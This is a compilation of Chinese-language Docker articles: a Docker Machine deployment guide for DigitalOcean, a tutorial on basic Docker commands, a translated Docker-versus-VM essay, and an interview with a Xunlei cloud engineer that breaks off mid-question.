在自己的Linux机器上安装好了Docker Machine之后，我们想要将一个docker虚拟机部署到云服务器上。Docker Machine支持几个流行的云平台，如igital Ocean、Amazon Web Services（AWS）、Microsoft Azure、Google Cloud Computing及其它等等，所以我们可以在不同的平台使用相同的接口来部署Docker。本文中我们会使用digitalocean驱动在Digital Ocean的服务器上部署Docker，--driver选项指定digitalocean驱动，--digitalocean-access-token选项指定Digital Ocean Control Panel提供的API Token，命令最后的是我们创建的Docker虚拟机的机器名。运行如下命令：


# docker-machine create --driver digitalocean --digitalocean-access-token <API-Token> linux-dev

# eval "$(docker-machine env linux-dev)"






注意： 这里linux-dev是我们将要创建的机器的名称。<API-Token>是一个安全key，可以在Digtal Ocean Control Panel生成。要找到这个key，我们只需要登录到我们的Digital Ocean Control Panel，然后点击API，再点击 Generate New Token，填写一个名称，选上Read和Write。然后我们就会得到一串十六进制的key，那就是<API-Token>，简单地替换到上边的命令中即可。


运行如上命令后，我们可以在Digital Ocean Droplet Panel中看到一个具有默认配置的droplet已经被创建出来了。





简便起见，docker-machine会使用默认配置来部署Droplet。我们可以通过增加选项来定制我们的Droplet。这里是一些digitalocean相关的选项，我们可以使用它们来覆盖Docker Machine所使用的默认配置。



	--digitalocean-image "ubuntu-14-04-x64" 用于选择Droplet的镜像

	--digitalocean-ipv6 enable 启用IPv6网络支持

	--digitalocean-private-networking enable 启用专用网络

	--digitalocean-region "nyc3" 选择部署Droplet的区域

	--digitalocean-size "512mb" 选择内存大小和部署的类型



如果你想在其他云服务使用docker-machine，并且想覆盖默认的配置，可以运行如下命令来获取Docker Mackine默认支持的对每种平台适用的参数。


# docker-machine create -h



3. 选择活跃主机


部署Droplet后，我们想马上运行一个Docker容器，但在那之前，我们需要检查下活跃主机是否是我们需要的机器。可以运行如下命令查看。


# docker-machine ls






ACTIVE一列有“*”标记的是活跃主机。


现在，如果我们想将活跃主机切换到需要的主机，运行如下命令：


# docker-machine active linux-dev



注意：这里，linux-dev是机器名，我们打算激活这个机器，并且在其上运行Docker容器。


4. 运行一个Docker容器


现在，我们已经选择了活跃主机，就可以运行Docker容器了。可以测试一下，运行一个busybox容器来执行echo hello word命令，这样就可以得到输出：


# docker run busybox echo hello world



注意：如果你试图在一个装有32位操作系统的宿主机部署Docker容器，使用SSH来运行docker是个好办法。这样你就可以简单跳过这一步，直接进入下一步。


5. SSH到Docker机器中


如果我们想在机器或者Droplet上控制之前部署的Docker机器，可以使用docker-machine ssh命令来SSH到机器上：


# docker-machine ssh






SSH到机器上之后，我们可以在上边运行任何Docker容器。这里我们运行一个nginx：


# docker run -itd -p 80:80 nginx



操作完毕后，我们需要运行exit命令来退出Droplet或者服务器。


# exit



5. 删除主机


删除在运行的主机以及它的所有镜像和容器，我们可以使用docker-machine rm命令：


# docker-machine rm linux-dev






使用docker-machine ls命令检查是否成功删除了：


# docker-machine ls






6. 在不使用驱动的情况新增一个主机


我们可以在不使用驱动的情况往Docker增加一台主机，只需要一个URL。它可以使用一个已有机器的别名，所以我们就不需要每次在运行docker命令时输入完整的URL了。


$ docker-machine create --url=tcp://104.131.50.36:2376 custombox



7. 管理主机


如果你已经让Docker运行起来了，可以使用简单的docker-machine stop命令来停止所有正在运行的主机，如果需要再启动的话可以运行docker-machine start：


# docker-machine stop
# docker-machine start



你也可以使用如下命令来使用机器名作为参数来将其停止或启动：


$ docker-machine stop linux-dev
$ docker-machine start linux-dev



总结


Docker Machine是一个非常棒的工具，可以使用Docker容器快速地部署服务。文中我们使用Digital Ocean Platform作演示，但Docker Machine还支持其他平台，如Amazon Web Service、Google Cloud Computing。使用Docker Machine，快速、安全地在几种不同平台部署Docker容器变得很简单了。因为Docker Machine还是Beta版本，不建议在生产环境使用。如果你有任何问题、建议、反馈，请在下方的评论框中写下来，我们会改进或者更新我们的内容。谢谢！享受吧 :-)




via: http://linoxide.com/linux-how-to/use-docker-machine-cloud-provider/


作者：Arun Pyasi

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出


 Flux7 Docker 系列教程（二）：必备的 15 条命令

作者：大舒

来源： Flux7 Docker 系列教程（二）：必备的 15 条命令



                    

  本系列教程翻译自 Flux7 Docker Tutorial Series，系列共有九篇，本文译自第二篇 Part 2: The 15 Commands。

  该系列所有文章将参考其他学习资料翻译，也会加入自己的学习作为部分注解。如有错误，欢迎指正。







第一篇文章《Docker 简介》 介绍了 Docker 的基本概念，也介绍了 Docker 的安装、检查了 Docker 是否能够运行。本篇文章介绍实践中常用的 15 个 Docker 命令，以及它们具体在后台做了什么工作。（原文虽然标题说有 15 条命令，实际上只有 14 条）


0. 技巧


这里是一个操作 Docker 镜像的小技巧，写在最前面，请牢记。后面会多次利用到这个技巧。


不冲突的情况下， Docker 可以使用 ID 的前面几个字符进行快速操作，例如：


命令 # docker ps -a

CONTAINER ID        IMAGE                 COMMAND                CREATED             STATUS                      PORTS               NAMES
920c0f3c240a        89dc7e6d0ac1:latest   "ls /etc/"             15 minutes ago      Exited (0) 15 minutes ago                       ecstatic_perlman
3f2a0b440abc        89dc7e6d0ac1:latest   "ls /etc/fstab"        15 minutes ago      Exited (0) 15 minutes ago                       tender_curie
64c55acd970e        89dc7e6d0ac1:latest   "ls -l"                15 minutes ago      Exited (0) 15 minutes ago                       sharp_lumiere
c34716ad8f72        busybox:latest        "/bin/sh -c 'while t   19 hours ago        Exited (0) 12 hours ago                         trusting_kowalevski
977be396faf6        busybox:latest        "/bin/sh -c 'while t   19 hours ago        Exited (137) 19 hours ago                       ecstatic_lovelace
9e553497cbed        busybox:latest        "/bin/sh -c 'while t   19 hours ago        Exited (137) 19 hours ago                       lonely_fermi
c9093d4c7637        busybox:latest        "/bin/sh -c 'while t   19 hours ago        Exited (137) 19 hours ago                       gloomy_pike
3f81114c48c2        busybox:latest        "/bin/echo Hello Doc   19 hours ago        Exited (0) 19 hours ago                         determined_swartz
26c98d7a589d        hello-world:latest    "/hello"               20 hours ago        Exited (0) 20 hours ago                         distracted_babbage
36c0b05dc414        hello-world:latest    "/hello"               20 hours ago        Exited (0) 20 hours ago                         admiring_carson



可以使用 docker rm 92 命令快速删除容器 920c0f3c240a，但是无法使用 docker rm 3f 命令进行快速删除某个容器，因为有两个以 3f 开头的容器，你必须用 docker rm 3f2 或者 docker rm 3f8 指定删除其中一个。


1. 检查安装


检查 Docker 是否安装：


docker info



如果 Docker 没有安装，会提示 command not found，如果 Docker 已经成功安装，则会有类似如下的提示：


命令 # docker info

Containers: 2
Images: 2
Storage Driver: aufs
 Root Dir: /var/lib/docker/aufs
 Backing Filesystem: extfs
 Dirs: 6
 Dirperm1 Supported: false
Execution Driver: native-0.2
Kernel Version: 3.13.0-24-generic
Operating System: Ubuntu 14.04 LTS
CPUs: 1
Total Memory: 979.6 MiB
Name: ubuntu
ID: PRLX:CY3O:TZ6P:4UAS:VDWM:MHWB:FB3V:TJBJ:GQ4J:Q453:GPOY:WZSI
WARNING: No swap limit support



2. 检查镜像


那么我们检查一下本机有多少 Docker 镜像：


docker images



输出：


命令 # docker images

REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
hello-world         latest              91c95931e552        5 days ago          910 B



本机只有 Docker 教程一 中的一个 hello-world 镜像。


我们可以使用如下命令去下载一个 busybox 的镜像文件：


3. 下载镜像


docker pull <image name>



输出：


命令 # docker pull busybox

latest: Pulling from busybox
cf2616975b4a: Pull complete
6ce2e90b0bc7: Pull complete
8c2e06607696: Already exists
busybox:latest: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security.
Digest: sha256:38a203e1986cf79639cfb9b2e1d6e773de84002feea2d4eb006b52004ee8502d
Status: Downloaded newer image for busybox:latest



busybox 是一个 Linux 工具集，包括各种常用命令，例如 cat、echo ，也有各种高级命令，例如 grep、mount 等。执行完 docker pull busybox 之后，Docker 会自动从 Docker 官方下载 busybox 的镜像文件。


这个过程中可以执行 Ctrl+C，docker pull 不会因为 Ctrl+C 打断，而回转为后台执行。


4. 运行镜像


有了镜像当然要对镜像做点事情，例如：


docker run busybox /bin/echo Hello Docker



这条命令是运行 busybox 镜像中的 /bin/echo 命令，参数是 Hello Docker：


命令 # docker run busybox /bin/echo Hello Docker

Hello Docker



5. 运行守护进程


当然有人会感到疑惑：难道不能在 Docker 容器内运行一个守护进程之类的东西？


当然可以，例如：


sample_job=$(docker run -d busybox /bin/sh -c "while true; do echo Docker; sleep 1; done")



在后台，以 busybox 镜像为基础创建的一个容器，每一秒运行一次 echo Docker 命令；然后该容器的 ID 保存在变量 sample_job 中。



  关于 sample_job ：其实 Docker 给每个运行中的容器也随机会起一个名字的，而不仅仅是一串长长的 ID ，例如我这个容器的就被起名叫 trusting_kowalevski，可以通过 docker ps 获取这个名字，当然本篇文章中所有的 $sample_job 也可以用 trusting_kowalevski 这个名字替代。




6. 查询输出


查询容器的输出内容：


docker logs <ID>/<name>



例如：通过 docker logs 命令查询 sample_job 对应的容器的输出内容。


命令 # sample_job=$(docker run -d busybox /bin/sh -c "while true; do echo Docker; sleep 1; done")
命令 # docker logs $sample_job
Docker
Docker
Docker
Docker
Docker
Docker
Docker



只要这个容器运行的时间足够长，就会输出足够多行的 Docker。


7. help 选项


和通用的 unix 命令一样，Docker 也有 help 选项：


docker help



和


docker <command> --help



8. 停止容器


那么还是刚刚那个容器：


这个容器已经输出了足够多的 Docker，该让他停下了：


docker stop $sample_job



9. 重启容器


或者重启刚刚那个容器：


docker restart $sample_job



10. 删除容器


当然也可以完全删除这个容器：


docker stop $sample_job



docker rm $sample_job




  注：Docker 的文件是放在 /var/lib/docker/containers/ 中的。




11. 保存容器


将当前的 Docker 容器状态保存为镜像：


docker commit $sample_job job1



这里保存成一个名叫 job1 的镜像。



  注意：镜像名称中只允许出现小写字母和数字。




12. 检查容器


如果不太确信刚刚已经把容器保存成镜像了，可以使用下面的命令查看刚刚 commit 的到底是什么：


docker images



可以看到，多出了一个 job1 的镜像：


命令 # docker images

REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
job1                latest              9b748dc45fd1        50 seconds ago      2.433 MB
hello-world         latest              91c95931e552        5 days ago          910 B
busybox             latest              8c2e06607696        5 days ago          2.433 MB



13. 搜索仓库


在前面文章提到了 Docker Index 和 Docker registry，这两个就是 Docker 官方存储公有和私有镜像的地方，可以使用这个命令搜索被上传到 Docker registry 的镜像：


docker search <image-name>



例如：


命令 # docker search dockerui

NAME                     DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
crosbymichael/dockerui   docker run -d crosbymichael/dockerui /dock...   23
abh1nav/dockerui         An updated version of crosbymichael/docker...   16                   [OK]
dockerui/dockerui        A web interface to interact with the Docke...   13                   [OK]
madhavkobal/dockerui     Docker Updated Version having Search, Pull...   7
fardok/dockerui          docker web ui  from crosbymichael               1
rpidockers/dockerui                                                      1
microbox/dockerui        Trusted Automated dockerui image (16MB size)    1
sigmonsays/dockerui                                                      1                    [OK]
sidd/dockerui            DockerUI                                        0
pemcconnell/dockerui                                                     0
devalih/dockerui         To run :  docker pull devalih/dockerui  do...   0
jonny64/dockerui                                                         0
eternitech/dockerui                                                      0
akranga/dockerui                                                         0
netz98/dockerui          PHP based Docker UI                             0
jonbaer/dockerui                                                         0
rogaha/dockerui                                                          0
bettse/dockerui          Fork of crosbymichael/dockerui                  0
wansc/dockerui                                                           0                    [OK]
c0710204/dockerui                                                        0                    [OK]
zaraki673/dockerui                                                       0                    [OK]
allincloud/dockerui                                                      0                    [OK]
atandock/dockerui                                                        0                    [OK]
cloudaku/dockerui                                                        0                    [OK]
yungsang/dockerui        Docker API Version: v1.8 UI Version: v0.4 ...   0



当然 DockerUI 官方的指出官方维护镜像是 dockerui/dockerui，因此只需 docker pull dockerui/dockerui 即可得到 DockerUI。



  DockerUI：一个网页版本的 Docker 管理工具。




Docker 的仓库也有个被人诟病的地方：你没有办法弄清 Docker 镜像的来源。DockerUI 官方文档指出了 DockerUI 官方镜像的名称 dockerui/dockerui，Docker 官方维护的发行版也都有 official 标签；除了这两种情况之外，所有的镜像都没有安全标签，你完全无法判断镜像的安全性。


14. 获取镜像历史


获取 Docker 镜像的更改历史：


docker history <image-name>



例如：


docker history busybox




  注：只能对本地存在的 Docker 镜像执行这个命令。




15. 推送镜像


将一个镜像推送到 Docker registry：


docker push <user>/<repo_name>




  注：不能直接使用 docker push job1，所有推送命令的格式必须是 docker push <user>/<repo_name>，不加 <user> 无法推送到 Docker registry。




总结


本章知识介绍了最基本的十五个 Docker 命令，接下来的教程将会陆续介绍如何在 Docker 中运行一个 Python Web 应用以及其他的 Docker 命令。


译者注：本文到此结束，但是直到本系列教程的结束，Flux7 都没有提供一个 Docker 中运行 Python Web 应用的实例。接下来会在本系列教程结束后补充几篇 Docker 应用的实例。


 Docker 和虚拟机的一些对比 [翻译]

作者：肆意的青春

来源： Docker 和虚拟机的一些对比 [翻译]



                    
本文翻译自：《Docker: Git for deployment -- Scout》，个人感觉它的内容和标题不对，所以就没有直译过来，要是我理解错了请帮忙纠正。


我听说了 Docker 多么令人惊叹，但是它并没有征服我的心，直到我提出一个实际的问题：【如果 Scout 使用 Docker 来部署，它会让我们的部署变得更顺利吗？】


以下是三个案例：


高效地模拟线上环境





我们线上有 16 台服务器，如果我尝试在本地使用 VirtualBox 配置每个实例 512 MB内存，那么它将占用我笔记本的两倍内存（说明他笔记本只有 4G 内存），VirtualBox 需要有许多多余的开支来管理每个子操作系统，Docker 在这方面是不一样的——容器共享同一个操作系统，更有可能是同样的二进制包文件和库文件，它可以运行在一台 Docker 主机上运行好几百个容器。


老方法


我不能在本地完全地模拟线上环境，让我们来看一下通过 Vagrant 启动一台机器需要花多久：


$ time vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
[default] Importing base box 'squeeze64-ruby193'...
...
[default] Booting VM...
[default] Waiting for VM to boot. This can take a few minutes.
...

real  1m32.052s



启动一个镜像需要一分半钟，如果我需要修改一个配置文件并检测是否能够正常工作，那么需要重启镜像，那又是可怕的一分半钟。


如果你配置的有错，那将是一个残忍的惩罚。（每次修改就需要一分半钟才能看到结果）


使用 Docker 后


能想像 Docker 有多轻便吗？当你在 Docker 容器里面运行程序，你甚至可能不会注意到他们不是直接在主机上运行的，在下面的例子中，我从标记的 "rails" 镜像中启动一个 Docker 容器来运行 Rails 应用（Dockerfile）：


root@precise64:~# docker run rails
2013-08-26 20:21:14,600 CRIT Supervisor running as root (no user in config file)
2013-08-26 20:21:14,603 WARN Included extra file "/srv/docker-rails/Supervisorfile" during parsing
2013-08-26 20:21:14,736 INFO RPC interface 'supervisor' initialized
2013-08-26 20:21:14,740 CRIT Server 'unix_http_server' running without any HTTP authentication checking
2013-08-26 20:21:14,754 INFO supervisord started with pid 1
2013-08-26 20:21:15,783 INFO spawned: 'rails' with pid 10
2013-08-26 20:21:16,841 INFO success: rails entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)



只需要两秒钟就完成了容器的启动和 supervisor 的启动（用来启动 Rails 应用的管理程序）


总之，Docker 能够让你在测试机上完全地模拟线上环境，它是如此的简单，让我可以真正地进行全站测试了。


更简单快速地创建镜像





传统方法


如果你用脚本从一个基本的镜像创建一个虚拟机镜像（例如：在 Ubuntu 上创建 Rails stack），若想把这个都做的正确是非常痛苦的，除非你经常的在做这个，看看安装 Ruby 依赖的一些信息吧：


$ time apt-get install -y -q ruby1.9.1 ruby1.9.1-dev rubygems1.9.1 irb1.9.1 build-essential libopenssl-ruby1.9.1 libssl-dev zlib1g-dev
Reading package lists...
Building dependency tree...
The following extra packages will be installed:
....
Setting up libalgorithm-merge-perl (0.08-2) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place

real 1m22.470s



然后，尝试去安装 NodeJS 的依赖，但是你忘记了添加 Node 到 apt 库中


$apt-get install -y nodejs
...
E: Unable to locate package nodejs



等你把这个问题解决了，想在新的基本镜像上运行你的脚本。

你需要重新安装 Ruby，还需要在安装 Node 之前，忍受不必要的 82 秒时间，真是痛苦至极。


使用 Docker 的方式


把创建镜像的步骤写入到 Dockerfile 文件中，看懂 Dockerfile 非常容易，因为里面就是你输入的命令，第一次安装 Ruby 不会比其它方式快，但是请看我们再次通过 Dockerfile 创建一个镜像：


FROM ubuntu:12.04
RUN apt-get update

## MYSQL
RUN apt-get install -y -q mysql-client libmysqlclient-dev

## RUBY
RUN apt-get install -y -q ruby1.9.1 ruby1.9.1-dev rubygems1.9.1 irb1.9.1 build-essential libopenssl-ruby1.9.1 libssl-dev zlib1g-dev



root@precise64:/# time docker build -t="dlite/appserver" .
Uploading context 92160 bytes
Step 1 : FROM ubuntu:12.04
 ---> 8dbd9e392a96
Step 2 : RUN apt-get update
 ---> Using cache
 ---> b55e9ee7b959
Step 3 : RUN apt-get install -y -q mysql-client libmysqlclient-dev
 ---> Using cache
 ---> dc92be6158b0
Step 4 : RUN apt-get install -y -q ruby1.9.1 ruby1.9.1-dev rubygems1.9.1 irb1.9.1 build-essential libopenssl-ruby1.9.1 libssl-dev zlib1g-dev
 ---> Using cache
 ---> 7038022227c0
Successfully built 7038022227c0

real    0m0.848s



哇哦，为什么安装 Ruby 连一秒都不到？ 看那些 Keys (例如：dc92be6158b0 )，Docker 不会重新运行 Dockerfile 中的每一行命令，会检查那是不是已经运行过的命令，是的话直接从缓存中取回对文件的修改。

做的如此神奇，是因为 Docker 使用了 AuFS 文件系统（union file system）


总之，Docker 让我们反复地创建一个镜像不再那么痛苦，对于已经成功的后面就不需要再等了。I'm not perfect and Docker doesn't punish me when I make mistakes.


部署镜像，不更新基础设施





传统的做法


Scout和其它部署一样，很长的时间在运行虚拟机，使用 Puppet 来更新所有的基础设施，但是经常会非常的痛苦。


如果我们部署更新到我们的栈，Puppet 会在每台虚拟机运行更新，这会花去许多的时间——即使是一个小小的改变，Puppet 需要检查所其它所有的都检查一遍。在部署的时间会出问题：如果我们安装 Memcached 时网络有点问题，apt-get install memcached 就会执行失败。


回滚到主要的改变通过不会像我们想像的那么平稳，（例如更新 Ruby 的版本）

这些总是并不是 Puppet 的问题， Puppet 和 Chef 是一个工具，当你要在一直运行的多台虚拟机上运行命令时，它会给你到多台机器上去运行，可以节省许多时间。



Docker 的做法


部署镜像——不修改已经存在的虚拟机，你会 100% 有确定在本地可以运行的，在生产环境也能运行。


镜像非常地大是吗？在 Docker 上不是这样的，请记住容器不会运行在宿主机上，它使用 union file system，当我们改变一个镜像，我们只需要新的一层。（说的好高大上，完全听不懂，后面可以看看 union file system 为何如此强大）


例如，在应用服务器上安装 Memcached，创建一个新的镜像，然后给它打上一个 tag 叫 dlite/appserver-memcached，它是基于 dlite/appserver 这个镜像的，dlite 是我在 index.docker.io 上的用户名。


root@precise64:/# time docker build -t="dlite/appserver-memcached" .
Uploading context 92160 bytes
Step 1 : FROM appserver
 ---> 8dbd9e392a96
Step 2 : RUN apt-get update
 ---> Using cache
 ---> b55e9ee7b959
Step 3 : RUN apt-get install -y -q memcached
 ---> Running in 2a2a689daee3
Reading package lists...
Building dependency tree...
...
Starting memcached: memcached.
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
 ---> 2a2a689daee3
Successfully built 2a2a689daee3

real    0m13.289s
user    0m0.132s
sys 0m0.376s



只用了 13 秒就安装好了 Memcached，Dockerfile 在执行时会优先使用已经安装成功的缓存，这个速度我喜欢。。。


把刚才的操作提交到仓库


root@precise64:/# time docker push dlite/appserver-memcached
The push refers to a repository [dlite/appserver-memcached] (len: 1)
Processing checksums
Sending image list
Pushing repository dlite/appserver-memcached (1 tags)
Pushing 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c
Image 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c already pushed, skipping
...
Pushing tags for rev [ad8f8a3809afcf0e2cff1af93a8c29275a847609b05b20f7b6d2a5cbd32ff0d8] on {https://registry-1.docker.io/v1/repositories/dlite/appserver-memcached/tags/latest}

real    0m28.710s



在线上服务器把镜像下载下来


root@prod:/# time docker pull dlite/appserver-memcached
Pulling repository dlite/appserver-memcached
Pulling image ad8f8a3809afcf0e2cff1af93a8c29275a847609b05b20f7b6d2a5cbd32ff0d8 (latest) from dlite/appserver-memcached

real    0m15.749s



只用了 15 秒就把 dlite/appserver-memached 镜像下载下来了，镜像只有 10 MB 它使用 appserver 为基础镜像。


root@precise64:~# docker images
REPOSITORY            TAG                 ID                  CREATED             SIZE
appserver             latest              7038022227c0        3 days ago          78.66 MB (virtual 427.9 MB)
appserver-memcached   latest              77dc850dcccc        16 minutes ago      10.19 MB (virtual 438.1 MB)



我们不需要下载全部的镜像，只需要下载添加 Memcached 的改变就可以了。


大多数情况下，我们的修改非常的小，所以下载一个新的镜像会非常地快。


启动一个新的 Docker 容器很快，上传和下载一个新的镜像也很轻量。


与其在现有的虚拟机上弄的乱七八糟，不如启动一个新的容器，然后把旧的容器删除就好了。


令人情奇的（Mind blown!）

它意味着我们不需要去担心统一性，我们不会去修改现有的虚拟机，只是启动一个新的容器。那也意味着回滚也就是轻而易举的事！Memcached 挂了？直接停止使用 dlite/appserver-memcached 然后启动 dlite/appserver-memcached 的容器就好了。


不足之处


生态还不是很完善，对于分布式配置 / 协调和服务发现没有好的解决方案（那是博文以前，现在应该很不一样了，可参考：《腾讯Gaia：万台规模的Docker应用实践）》


我们如何做到新应用服务窗口启动了，自动更改 HAProxy 的 配置文件？


新的数据库容器启动了，应用服务器如何自动与数据库容器通信？


如何让不同主机的 Docker 窗口通信？


即将到来的 Flynn.io 将会解决这些问题，上面的问题将不再是问题（现在这些总是早就不是问题了， Docker 的生态圈已经非常完善，国内 DaoCloud 在这方面就是领头羊，正在使用它的加速。）


Docker 可以像 Git 一样部署


创建一个项目的时候，开发者可以去使用 Git 来提升性能和灵活性。 Git 鼓励实验新的东西，并且在你做错了不会给你带来很多的麻烦事：在一个分支去做你的实验，如果做遭了，只需要 git rebase 或 git reset， Git 可以很简单地就创建一个分支和推送一个分支。


Docker 鼓励实验操作，容器启动非常地快，创建一个镜像更是非常地快，使用别的镜像做为基本镜像也非常的容易，部署更个镜像非常地快，最后但同样重要的是，回滚也非常地方便。


快速 + 灵活 = 部署将会更快乐


 曾金龙：迅雷云的Docker开发实践

作者：图灵访谈

来源： 曾金龙：迅雷云的Docker开发实践



                    

  非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/201256




曾金龙就职于迅雷网络，是国内覆盖面最广的“迅雷P2P引擎”核心研发成员。他毕业于中山大学，具有计算机科学硕士学位，他的研究方向是P2P网络、音视频传输和CEP系统。曾金龙对Docker技术有着深入的理解，是国内较早将Docker引入到实际软件开发、测试和部署中的人。他在2015年出版了《Docker开发实践》一书。





问：作为迅雷P2P引擎的核心开发成员，能否谈一下当时开发的经历以及克服了哪些困难？


我一开始工作的时候就进入到了一家在P2P领域NO.1的公司，而且还是核心团队，所以压力非常大。我发现，现实的P2P依然处在第一代P2P的水平，和研究上的P2P有很大差异。我们在高校里面研究的是各种结构化的P2P，叫做第二代P2P。这就意味着即便我是以P2P为研究方向来到了迅雷，但一切都是归零的。这是理想与现实之间的差异，对我个人而言是个困难。


开发上的困难有两个方面，一是新做的项目往往配置基础环境会耗费大量的时间，而且开发不会碰到的问题在测试和运营那里会“莫名其妙”地出现，所以容器是解决程序员痛点的好技术。另外就是迅雷云是全国最大的P2P数据平台，所以里面有非常多分工不同的服务器，有打洞的Punch服务、有索引的Hub服务、跟踪的Tracker服务以及CDN管理服务等，而且处理的数据量非常大。让公司各个事业群的项目组合理管理和使用这些集群确实不容易，而大多数问题都来自不正确的使用，所以我们必须为各个事业群提供更为易用的服务和更加统一的接口。所以我们后面在迅雷云引入了Docker。


问：能否谈一下迅雷云使用Docker的过程？


其实最初的时候，迅雷团队对Docker是怀有谨慎的态度的。不能因为别人说好我们就用，需要先试，真的好我们才敢用，尝到甜头我们才愿意用。一开始我们用Docker来加快团队之间的协作效率，因为通过它部署的环境可以一次构建到处使用，所以开发、测试和部署都能够在一个非常一致的环境中进行，这是很初级的用法。随着对这个模式的认可，迅雷内部越来越多的团队接纳了我们的建议，于是迅雷、迅雷看看、迅雷游戏都采用了Docker，引入到了开发、测试和部署中。


后面我们的服务器项目基本就迁移到了Docker之上。当然，一开始大家对Docker的安全性都会有所顾虑，但其实大多数顾虑都是因为对Docker不够理解而产生的。有了内部产品线的支持，我们后面把迅雷云部分服务器资源用Docker重新部署。迅雷云本身就是一个非常高效的集群系统，现在引入Docker是为了让资源使用更加便捷。因为研发人员的流动性比较高，不是所有的开发者对迅雷云内部资源的使用都熟悉，所以我们现在就是借助Docker去为各个业务的开发提供一套更普适的接口。


问：迅雷云在容器方面做了哪些优化和调整？


一是整合现有的集群，将部分集群更改为Docker集群，特别是新增部分。二、由于迅雷云是一个重数据、轻业务的云，所以在数据管理方面，像Docker的Data volumes和Data volume containers这种简单的方式还是不能够满足，所以我们主要还是以迅雷云自己的管理系统为主。为了能够让Docker之上的业务更好地使用我们的集群，我们添加了适配层。三、调度算法是迅雷云定制优化的。最后，我们有自建的私有仓库，提供常用镜像，让我们的开发更加快速。


问：Adrian Cockcroft是云技术社区中的思想家之一，他将微服务与Docker的结合视为一种颠覆，认为这种开发方式会极大提高开发团队敏捷性和适应性。请问迅雷云团队是否有这方面的实践？对于这方面的技术融合你有什么样的建议？


微服务是把一个原本很复杂的服务解耦拆解为一些相对功能单一的服务，这在迅雷云内部是一直都非常提倡的。我们认为一个服务专心做好一件事是最好的，这对解耦、易用、升级都非常有好处。迅雷内部把Hub服务和Tracker服务都进行了分解和抽象，提供给各个项目组。Hub本身是很复杂的，但我们的服务接口却是个位数，包括对CDN资源服务的使用方面我们也是重构了一套更加简单易用的服务。


有一点很遗憾的是我觉得迅雷云里面做得最好的微服务并没有使用到Docker，也就是我们的“水晶计划”。这主要是因为我们的节点是各种客户端设备，但我们的设计宗旨依然是遵循微服务的。水晶计划的节点是各种各样的设备，差异性非常大。但没有关系，在用户那里，它就是可靠的CDN。我个人觉得微服务加上Docker是非常合适的，因为微服务很重要的一点就是解耦，而采用容器技术来解耦隔离是非常恰当的。再进一步考虑到服务的扩容和迁移的话，微服务设计加上Docker作为载体也是非常合适的。我的建议就是，一个服务一个容器，或者说一种服务，一类容器，这样一一对应地去部署。


问：Docker的image和安全问题一直都受到关注，特别在去年的出现的ShellShock和Heartbleed问题之后，请问在Docker的安全方面你是否有哪些经验可以分享？


其实，越多人使用的技术越安全，但一旦不安全造成的损失也非常大。迅雷在使用Docker这方面一直没有把数据层面交给迅雷云之外的系统。即便是Docker使用迅雷云的数据，也是通过我们的适配层，而通过适配层接进来的操作是要经过授权的，对使用能力也要进行限制，同时操作都是可跟踪和统计的。另外就是对用户的授权管理，严格规范的管理在安全方面很有必要。还有就是做好隔离工作，不仅仅是通过内核的Namespace/cgroup，同时也可以在不同层面隔离，比如VM和容器的隔离等。


问：在ClusterHQ最近的一项调查中显示，只有38%的IT专业人士在生产环境中使用容器，人们对于容器技术使用的顾虑包括安全、数据管理、IT人员技能、永久存储与可靠性等问题。你认为以Docker为代表的容器技术面临的最大阻碍是什么？是否在不远的未来有望跨越技术应用的鸿沟？


我觉得当前容器技术面临的最大阻力是安全问题和管理工具。安全性一直是企业使用容器所担心的问题，而另一个问题就是管理工具，特别是对集群的管理。现有的集群管理工具，比如Kubernetes，并不是很好上手，对于很多运维人员而言，特别是对一些小企业来说，运维人员可能并没有深入地去学习这些工具怎么使用。所以如果这些工具的部署配置和使用能够非常简单，那么容器在实际生产中可能会越来越广泛。


这种情况有些类似于ISO/OSI的参考模型和TCP/IP协议模型，前者从设计上而言是很优秀的，但后者却成了事实标准，为什么？因为简单。所以一门好技术，不但要技术本身好，而且要做到让别人更好地接纳也很重要。Docker相对于以前的诸如lxc的系统是一个进步，我希望Docker能继续做好整个工具链，让Docker集群更加平易近人。


问：Docker, CoreOS, 以及其他业界成员一起创立了“开放容器计划（OCP)”，你认为OCP的成立对于软件开发行业会造成什么影响？


Docker和CoreOS这对竞争对手握手言和，一起成立OCP，对于整个容器生态圈而言是一个非常重大的利好。因为OCP可以让容器技术更加统一化，如果所有的容器都遵循一套标准，那么使用容器的开发者就省了很多麻烦。而且有了统一的标准，就意味着在不同平台上的容器也可以相互迁移，Docker的镜像可以迁移到CoreOS上，反之亦然。破除各自为阵，容器技术会变得更加易用，同时也会加快其在产业上的应用。


问：Docker和CoreOS各自都具有哪些优势？它们的结合会带来哪些好处？


Docker更想去做一个以容器为中心的服务平台，所以它给用户提供了很多便利的操作，还包括一些集群管理工具链。CoreOS则更加侧重容器本身的标准化，CoreOS的开放标准更能够促进容器的开放，这也是OCP的宗旨，此外，CoreOS在安全性和可组合性上也做得更好。它们的结合可以取二者优势，弥补各自不足。


问：Docker最新发布的“Docker试验性发布”是一次有趣的尝试，请问你是否使用过上面的实验性功能？你觉得这个系统的发布对于Docker来说有哪些好处？


如果你指的是out-of-process volume plugins，我有了解但没有使用过。在对数据方面采用插件的形式，让用户自己去适配不同的存储系统是非常有必要的，所以我觉得这个功能非常有用。我在上面也提到了，我们迅雷云就写了一套适配层去操作我们自己的数据系统。所以后面我们团队会去深入地理解这个功能，然后跟进。


问：学习Docker的进阶过程有哪几个阶段？你希望程序员们以怎样的方式使用《Docker开发实践》这本书？


